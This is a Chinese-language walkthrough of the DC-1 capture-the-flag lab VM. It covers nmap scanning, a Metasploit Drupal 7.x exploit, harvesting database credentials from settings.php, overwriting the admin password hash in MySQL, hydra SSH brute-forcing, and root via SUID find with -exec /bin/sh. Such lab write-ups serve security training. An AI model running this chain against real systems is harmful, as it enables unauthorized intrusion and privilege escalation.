DC-1靶機復現
一、主機掃描
(kali作為攻擊機和DC靶機都做了NAT地址,都在同一網段中)
1.利用 arp-scan -l
命令掃描同網段內的其他存活主機。
2.利用nmap工具來對目標靶機進行探測
nmap -A 192.168.1.131 -p-
或者:nmap -p 1-65535 -A -sV 192.168.1.131
發現開放了80、22和111埠。80和22埠可以進行攻擊,111埠一般是rpcbind漏洞(該漏洞可使攻擊者在遠端rpcbind繫結主機上分配任意大小的記憶體(每次攻擊最高可達4GB),除非程序崩潰,或者管理員掛起/重啟rpcbind服務,否則該記憶體不會被釋放。)不考慮使用。
二、資訊收集
上述探測發現有80埠,先進行訪問。
利用Firefox的Wappalyzer外掛發現管理系統為Drupal 7.x版本(Drupal是使用PHP語言編寫的開源內容管理框架(CMF),它由內容管理系統(CMS)和PHP開發框架(Framework)共同構成,)。網上查詢得Drupal 7.x版本存在漏洞,可以利用msf進行攻擊。
三、漏洞攻擊
1.使用msf進行攻擊。
使用serach Drupal
查詢可利用的指令碼所在:
設定RHOST和payload進行攻擊
寫入互動式shell python -c 'import pty;pty.spawn("/bin/bash");'
2.進入系統後檢視可利用的資訊
ls
檢視發現有flag1.txt檔案,cat flag1.txt
,發現提示資訊:
Every good CMS needs a config file - and so do you. (每個好的 CMS 都需要一個配置檔案 - 你也是。)
提示配置檔案。發現在sites/default中有settings.php配置檔案。檢視settings.php,發現flag2
flag2
Brute force and dictionary attacks aren't the
only ways to gain access (and you WILL need access).
What can you do with these credentials?
蠻力和字典攻擊不是
獲得訪問許可權的唯一方法(您將需要訪問許可權)。
你可以用這些憑據做什麼?
除此之外還在下方發現了資料庫使用者密碼配置:
username="dbuser" password="R0ck3t"
用到mysql資料庫,檢視是否在執行 ps aux | grep mysql
3.進入資料庫
mysql正在執行,用剛才發現的密碼進入資料庫
檢視資料庫中的使用者資訊
show databases;
(檢視資料庫)
use drupaldb;
(選擇資料使用)
show tables;
(查看錶)
查詢到users表,查看錶資訊
select * from users;
發現密碼是進過加密的,重置密碼,可利/scripts/password-hash.sh指令碼進行生成新密碼。
進到資料庫中修改admin的密碼值
update users set pass="$S$D8KXQGlApiiMM/WwXJ8mPy5cmDfSBSYfizBVH8z0Rm9.0vM0T12D" where uid=1;
3.登入到系統
密碼修改成功後,登入到網站:
發現flag3
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
特殊的PERMS 將幫助查詢passwd——但是您需要-exec 該命令來確定如何獲取shadow中的內容。
檢視/etc/passwd檔案
發現flag,該伺服器開放了22埠,可以用hydra工具進行爆破
hydra -l flag4 -P /usr/share/john/password.lst 192.168.1.131 ssh -vV -f -o hydra.ssh
拿到密碼 login:flag4 password:orange,用ssh登入
四、提權
按許可權查詢檔案,如果錯誤則重定向到“黑洞”
-perm:按照許可權查詢
-type:查是塊裝置b、目錄d、字元裝置c、管道p、符號連結l、普通檔案f
-u=s:擁有者是s許可權
S許可權:設定使檔案在執行階段具有檔案所有者的許可權,相當於臨時擁有檔案所有者的身份. 典型的檔案是passwd. 如果一般使用者執行該檔案, 則在執行過程中, 該檔案可以獲得root許可權, 從而可以更改使用者的密碼。
find / -perm -u=s -type f 2>/dev/null
發現find檔案,這個檔案是有root許可權的,且在這個許可權下可讀可寫可執行。
shell命令
find ./ aaa -exec '/bin/sh' \;
得到root許可權,檢視root下的flag檔案
結束。